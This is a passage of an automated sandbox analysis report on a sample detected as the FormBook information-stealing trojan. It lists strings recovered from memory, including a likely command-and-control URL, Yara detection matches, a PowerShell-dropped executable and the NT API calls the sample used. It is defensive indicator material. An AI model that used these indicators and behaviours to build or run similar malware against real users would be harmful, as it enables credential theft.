            Source: compact.exe, 0000001A.00000002.3721935627.0000000004AEC000.00000004.10000000.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000372C000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.14.0/css/all.min.css
            Source: compact.exe, 0000001A.00000003.1817384271.0000000008278000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
            Source: compact.exe, 0000001A.00000003.1817384271.0000000008278000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
            Source: compact.exe, 0000001A.00000003.1817384271.0000000008278000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/ac/?q=
            Source: compact.exe, 0000001A.00000003.1817384271.0000000008278000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/chrome_newtab
            Source: compact.exe, 0000001A.00000003.1817384271.0000000008278000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
            Source: compact.exe, 0000001A.00000002.3721935627.0000000004C7E000.00000004.10000000.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.00000000038BE000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://fburl.com
            Source: compact.exe, 0000001A.00000002.3721935627.0000000004AEC000.00000004.10000000.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000372C000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://fonts.googleapis.com/css?family=Abel:400%7CMaven
            Source: compact.exe, 0000001A.00000002.3721935627.0000000004C7E000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000001A.00000002.3721935627.000000000577C000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000001A.00000002.3724493799.0000000006780000.00000004.00000800.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.00000000043BC000.00000004.00000001.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.00000000038BE000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://fonts.googleapis.com/css?family=Open
            Source: Smilet.exe, 00000028.00000001.3704245850.0000000000649000.00000020.00000001.01000000.00000014.sdmpString found in binary or memory: https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214
            Source: compact.exe, 0000001A.00000002.3711399927.00000000034FF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
            Source: compact.exe, 0000001A.00000002.3711399927.00000000034FF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033GW
            Source: compact.exe, 0000001A.00000002.3711399927.00000000034FF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
            Source: compact.exe, 0000001A.00000003.1813904196.0000000008250000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
            Source: compact.exe, 0000001A.00000002.3721935627.0000000004AEC000.00000004.10000000.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000372C000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://niteothemes.com
            Source: compact.exe, 0000001A.00000002.3721935627.0000000004C7E000.00000004.10000000.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.00000000038BE000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://optimize.google.com
            Source: P1 HWT623ATG.bat.exe, GnVIdcfKFYG.exe.1.drString found in binary or memory: https://raw.github.com/natrim/Sign-Control/master/release.txt
            Source: hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000372C000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://shahaf3d.com
            Source: compact.exe, 0000001A.00000002.3721935627.0000000004AEC000.00000004.10000000.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000372C000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://shahaf3d.com/wp-admin/admin-ajax.php
            Source: hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000372C000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://shahaf3d.com/wp-content/uploads/2023/08/shahaf-3d-concrete-printing.jpg
            Source: compact.exe, 0000001A.00000002.3721935627.00000000055EA000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000001A.00000002.3724493799.0000000006780000.00000004.00000800.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000422A000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://static.loopia.se/responsive/images/iOS-114.png
            Source: compact.exe, 0000001A.00000002.3721935627.00000000055EA000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000001A.00000002.3724493799.0000000006780000.00000004.00000800.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000422A000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://static.loopia.se/responsive/images/iOS-57.png
            Source: compact.exe, 0000001A.00000002.3721935627.00000000055EA000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000001A.00000002.3724493799.0000000006780000.00000004.00000800.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000422A000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://static.loopia.se/responsive/images/iOS-72.png
            Source: compact.exe, 0000001A.00000002.3721935627.00000000055EA000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000001A.00000002.3724493799.0000000006780000.00000004.00000800.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000422A000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://static.loopia.se/responsive/styles/reset.css
            Source: compact.exe, 0000001A.00000002.3721935627.00000000055EA000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000001A.00000002.3724493799.0000000006780000.00000004.00000800.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000422A000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://static.loopia.se/shared/images/additional-pages-hero-shape.webp
            Source: compact.exe, 0000001A.00000002.3721935627.00000000055EA000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000001A.00000002.3724493799.0000000006780000.00000004.00000800.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000422A000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://static.loopia.se/shared/logo/logo-loopia-white.svg
            Source: compact.exe, 0000001A.00000002.3721935627.00000000055EA000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000001A.00000002.3724493799.0000000006780000.00000004.00000800.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000422A000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://static.loopia.se/shared/style/2022-extra-pages.css
            Source: compact.exe, 0000001A.00000002.3721935627.0000000004C7E000.00000004.10000000.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.00000000038BE000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://td.doubleclick.net
            Source: compact.exe, 0000001A.00000002.3721935627.0000000004C7E000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000001A.00000002.3724493799.0000000006780000.00000004.00000800.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.00000000038BE000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://w.ladicdn.com/v2/source/html5shiv.min.js?v=1569310222693
            Source: compact.exe, 0000001A.00000002.3721935627.0000000004C7E000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000001A.00000002.3724493799.0000000006780000.00000004.00000800.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.00000000038BE000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://w.ladicdn.com/v2/source/respond.min.js?v=1569310222693
            Source: compact.exe, 0000001A.00000002.3721935627.0000000004AEC000.00000004.10000000.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000372C000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://wordpress.org/plugins/cmp-coming-soon-maintenance/
            Source: compact.exe, 0000001A.00000003.1817384271.0000000008278000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.ecosia.org/newtab/
            Source: compact.exe, 0000001A.00000002.3721935627.0000000004636000.00000004.10000000.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.0000000003276000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.1921583639.000000000E196000.00000004.80000000.00040000.00000000.sdmpString found in binary or memory: https://www.futuregainers.net/l4k7/?9d=afjyNtLybwItDht5F4JWljDwa9eg0AOKeO4XK5PuceGx/XGrL/B5lBywYHYqM
            Source: compact.exe, 0000001A.00000002.3721935627.0000000004C7E000.00000004.10000000.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.00000000038BE000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.google-analytics.com
            Source: compact.exe, 0000001A.00000003.1817384271.0000000008278000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
            Source: compact.exe, 0000001A.00000002.3721935627.0000000004C7E000.00000004.10000000.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.00000000038BE000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.googleanalytics.com
            Source: compact.exe, 0000001A.00000002.3721935627.0000000004C7E000.00000004.10000000.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.00000000038BE000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.googleoptimize.com
            Source: compact.exe, 0000001A.00000002.3721935627.00000000055EA000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000001A.00000002.3724493799.0000000006780000.00000004.00000800.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000422A000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.googletagmanager.com/gtm.js?id=
            Source: compact.exe, 0000001A.00000002.3721935627.00000000055EA000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000001A.00000002.3724493799.0000000006780000.00000004.00000800.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000422A000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.googletagmanager.com/ns.html?id=GTM-NP3MFSK
            Source: compact.exe, 0000001A.00000002.3721935627.00000000047C8000.00000004.10000000.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.0000000003408000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.hostgator.com.br
            Source: compact.exe, 0000001A.00000002.3721935627.00000000055EA000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000001A.00000002.3724493799.0000000006780000.00000004.00000800.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000422A000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.loopia.com/domainnames/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=pa
            Source: compact.exe, 0000001A.00000002.3721935627.00000000055EA000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000001A.00000002.3724493799.0000000006780000.00000004.00000800.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000422A000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.loopia.com/hosting/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkin
            Source: compact.exe, 0000001A.00000002.3721935627.00000000055EA000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000001A.00000002.3724493799.0000000006780000.00000004.00000800.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000422A000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.loopia.com/login?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingwe
            Source: compact.exe, 0000001A.00000002.3721935627.00000000055EA000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000001A.00000002.3724493799.0000000006780000.00000004.00000800.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000422A000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.loopia.com/loopiadns/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=park
            Source: compact.exe, 0000001A.00000002.3721935627.00000000055EA000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000001A.00000002.3724493799.0000000006780000.00000004.00000800.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000422A000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.loopia.com/order/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingw
            Source: compact.exe, 0000001A.00000002.3721935627.00000000055EA000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000001A.00000002.3724493799.0000000006780000.00000004.00000800.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000422A000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.loopia.com/sitebuilder/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=pa
            Source: compact.exe, 0000001A.00000002.3721935627.00000000055EA000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000001A.00000002.3724493799.0000000006780000.00000004.00000800.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000422A000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.loopia.com/support?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parking
            Source: compact.exe, 0000001A.00000002.3721935627.00000000055EA000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000001A.00000002.3724493799.0000000006780000.00000004.00000800.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000422A000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.loopia.com/woocommerce/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=pa
            Source: compact.exe, 0000001A.00000002.3721935627.00000000055EA000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000001A.00000002.3724493799.0000000006780000.00000004.00000800.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000422A000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.loopia.com/wordpress/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=park
            Source: compact.exe, 0000001A.00000002.3721935627.00000000055EA000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000001A.00000002.3724493799.0000000006780000.00000004.00000800.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000422A000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.loopia.se?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb
            Source: compact.exe, 0000001A.00000002.3721935627.0000000004AEC000.00000004.10000000.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000372C000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://youtu.be/uO1hXLmT2j4
            Source: compact.exe, 0000001A.00000002.3721935627.0000000005134000.00000004.10000000.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.0000000003D74000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://zz.bdstatic.com/linksubmit/push.js

            E-Banking Fraud

            barindex
            Yara detected FormBook
            Source: Yara matchFile source: 9.2.P1 HWT623ATG.bat.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 9.2.P1 HWT623ATG.bat.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 0000001A.00000002.3719971214.00000000036C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000001B.00000002.3723441735.0000000005130000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000001A.00000002.3709324958.00000000032D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000001A.00000002.3719882402.0000000003680000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000009.00000002.1575209433.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000009.00000002.1575852421.0000000000BD0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000009.00000002.1578650551.0000000001550000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000019.00000002.3719927203.0000000002350000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

            System Summary

            barindex
            Malicious sample detected (through community Yara rule)
            Source: 9.2.P1 HWT623ATG.bat.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 9.2.P1 HWT623ATG.bat.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 0000001A.00000002.3719971214.00000000036C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 0000001B.00000002.3723441735.0000000005130000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 0000001A.00000002.3709324958.00000000032D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 0000001A.00000002.3719882402.0000000003680000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000009.00000002.1575209433.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000009.00000002.1575852421.0000000000BD0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000009.00000002.1578650551.0000000001550000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000019.00000002.3719927203.0000000002350000.00000040.00000001.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            .NET source code contains very large array initializations
            Source: 1.2.P1 HWT623ATG.bat.exe.64c0000.9.raw.unpack, .csLarge array initialization: : array initializer size 28702
            Source: 1.2.P1 HWT623ATG.bat.exe.311b5f8.1.raw.unpack, .csLarge array initialization: : array initializer size 28702
            Source: 10.2.GnVIdcfKFYG.exe.252b60c.7.raw.unpack, .csLarge array initialization: : array initializer size 28702
            Powershell drops PE file
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\Smilet.exeJump to dropped file
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0042B543 NtClose,9_2_0042B543
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01272B60 NtClose,LdrInitializeThunk,9_2_01272B60
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01272DF0 NtQuerySystemInformation,LdrInitializeThunk,9_2_01272DF0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01272C70 NtFreeVirtualMemory,LdrInitializeThunk,9_2_01272C70
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012735C0 NtCreateMutant,LdrInitializeThunk,9_2_012735C0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01274340 NtSetContextThread,9_2_01274340
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01274650 NtSuspendThread,9_2_01274650
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01272BA0 NtEnumerateValueKey,9_2_01272BA0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01272B80 NtQueryInformationFile,9_2_01272B80
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01272BE0 NtQueryValueKey,9_2_01272BE0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01272BF0 NtAllocateVirtualMemory,9_2_01272BF0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01272AB0 NtWaitForSingleObject,9_2_01272AB0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01272AF0 NtWriteFile,9_2_01272AF0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01272AD0 NtReadFile,9_2_01272AD0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01272D30 NtUnmapViewOfSection,9_2_01272D30
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01272D00 NtSetInformationFile,9_2_01272D00
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01272D10 NtMapViewOfSection,9_2_01272D10
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01272DB0 NtEnumerateKey,9_2_01272DB0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01272DD0 NtDelayExecution,9_2_01272DD0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01272C00 NtQueryInformationProcess,9_2_01272C00
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01272C60 NtCreateKey,9_2_01272C60
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01272CA0 NtQueryInformationToken,9_2_01272CA0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01272CF0 NtOpenProcess,9_2_01272CF0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01272CC0 NtQueryVirtualMemory,9_2_01272CC0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01272F30 NtCreateSection,9_2_01272F30
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01272F60 NtCreateProcessEx,9_2_01272F60
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01272FA0 NtQuerySection,9_2_01272FA0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01272FB0 NtResumeThread,9_2_01272FB0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01272F90 NtProtectVirtualMemory,9_2_01272F90
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01272FE0 NtCreateFile,9_2_01272FE0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01272E30 NtWriteVirtualMemory,9_2_01272E30
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01272EA0 NtAdjustPrivilegesToken,9_2_01272EA0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01272E80 NtReadVirtualMemory,9_2_01272E80
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01272EE0 NtQueueApcThread,9_2_01272EE0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01273010 NtOpenDirectoryObject,9_2_01273010
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01273090 NtSetValueKey,9_2_01273090
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012739B0 NtGetContextThread,9_2_012739B0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01273D10 NtOpenProcessToken,9_2_01273D10
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_01273D70 NtOpenThread,9_2_01273D70
            Source: C:\Users\user\AppData\Local\Temp\bfc.exeFile created: C:\Users\user\AppData\Local\erindres\keres\skuboppernes.sys
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 1_2_02FAEFF01_2_02FAEFF0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 1_2_02FADC001_2_02FADC00
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 1_2_064AAB881_2_064AAB88
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 1_2_064AAB981_2_064AAB98
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 1_2_07935EA81_2_07935EA8
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 1_2_07933DD01_2_07933DD0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 1_2_079355D01_2_079355D0
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 1_2_079335481_2_07933548
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 1_2_079335601_2_07933560
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 1_2_079339981_2_07933998
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 1_2_079309781_2_07930978
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_004100039_2_00410003
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_004169839_2_00416983
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0042D9A39_2_0042D9A3
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_004102239_2_00410223
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_004012309_2_00401230
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0040E2A39_2_0040E2A3
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_004033409_2_00403340
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_004026909_2_00402690
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_00402F709_2_00402F70
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0040FFFC9_2_0040FFFC
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012301009_2_01230100
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012DA1189_2_012DA118
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012C81589_2_012C8158
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012F41A29_2_012F41A2
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_013001AA9_2_013001AA
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_012F81CC9_2_012F81CC
